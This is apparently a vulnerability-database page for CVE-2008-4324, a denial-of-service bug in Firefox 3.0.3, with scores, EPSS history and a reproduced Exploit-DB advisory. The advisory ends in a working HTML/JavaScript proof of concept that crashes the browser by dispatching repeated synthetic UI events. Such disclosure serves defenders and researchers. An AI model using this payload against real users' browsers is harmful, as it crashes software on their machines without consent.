CVE-2008-4324

EPSS

9.64%V4

Vector

Network

Published

2008-09-29
18h00 +00:00

Modified

2018-10-11
17h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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Specified here a CVE ID as CVE-2025-1234

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CVE Descriptions

The user interface event dispatcher in Mozilla Firefox 3.0.3 on Windows XP SP2 allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a series of keypress, click, onkeydown, onkeyup, onmousedown, and onmouseup events. NOTE: it was later reported that Firefox 3.0.2 on Mac OS X 10.5 is also affected.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-399	Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	11%	–	–
2022-04-03	–	–	11%	–	–
2022-05-22	–	–	11%	–	–
2023-03-12	–	–	–	6.76%	–
2023-05-14	–	–	–	9.26%	–
2024-03-03	–	–	–	9.26%	–
2024-06-02	–	–	–	9.26%	–
2024-12-22	–	–	–	9.98%	–
2025-01-19	–	–	–	9.98%	–
2025-03-18	–	–	–	–	9.64%
2025-03-18	–	–	–	–	9.64,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	89%
2022-04-03	94%
2022-05-22	95%
2023-03-12	93%
2023-05-14	94%
2024-03-03	95%
2024-06-02	95%
2024-12-22	95%
2025-01-19	95%
2025-03-18	92%
2025-03-18	92%

Exploit information

Exploit Database EDB-ID : 6614

Publication date : 2008-09-27 22h00 +00:00
Author : Aditya K Sood
EDB Verified : Yes

========================================================================== Mozilla Firefox User Interface Null Pointer Dereference Dispatcher Crash and Remote Denial of Service. *Version Tested:* Mozilla 3.0.3 - 1.9.0 Branch /(Specifically for Latest Version)/ *Severity:* High *Description:* The mozilla firefox is vulnerable to user interface event dispatcher null pointer dereference denial of service attacks. The dispatched event created dynamically leads to firefox crash when it is called directly or in a defined l oop with number of generated user interface events.The resultant crash results in: Exception Type: EXC_BAD_ACCESS (SIGBUS) Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000007 Crashed Thread: 0 Thread 0 Crashed: 0 libxpcom_core.dylib nsTArray_base::Length() const + 11 (nsTArray.h:66) 1 libgklayout.dylib nsContentUtils::GetAccelKeyCandidates(nsIDOMEvent*, nsTArray&) + 261 (nsContentUtils.cpp:4083) This security issue is a result of unhandled exception which is a result of null pointer dereference. *Links:* http://www.secniche.org/advisory.html http://evilfingers.com/advisory/index.php *Proof of Concept http://www.secniche.org/moz303/index.html * *Detection:* SecNiche confirmed this vulnerability affects Mozilla Firefox on Microsoft Windows XP SP2 platform.The versions tested are: Mozilla 3.0.3 - 1.9.0 Branch *Disclosure Timeline:* Disclosed: 28 September 2008 Release Date. 28 September ,2008 *Vendor Response:* Mozilla confirm this vulnerability. * Credit:* Aditya K Sood *Disclaimer* The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There is no representation or warranties, either express or implied by or with respect to anything in this document, and shall not be liable for a ny implied warranties of merchantability or fitness for a particular purpose or for any indirect special or consequential damages. ========================================================================== <html> <title>Mozilla Firefox User Interface Dispatcher Crash and Remote Denial of Service</title> <head> <script language = "JavaScript"> var moz303 = document.createEvent("UIEvents"); moz303.initUIEvent("keypress", true, true, this, 1); for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++) { document.documentElement.dispatchEvent(moz303); } moz303.initUIEvent("click", true, true, this, 1); for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++) { document.documentElement.dispatchEvent(moz303); } moz303.initUIEvent("onkeydown", true, true, this, 1); for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++) { document.documentElement.dispatchEvent(moz303); } moz303.initUIEvent("onkeyup", true, true, this, 1); for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++) { document.documentElement.dispatchEvent(moz303); } moz303.initUIEvent("onmousedown", true, true, this, 1); for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++) { document.documentElement.dispatchEvent(moz303); } moz303.initUIEvent("onmouseup", true, true, this, 1); for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++) { document.documentElement.dispatchEvent(moz303); } </script> # milw0rm.com [2008-09-28]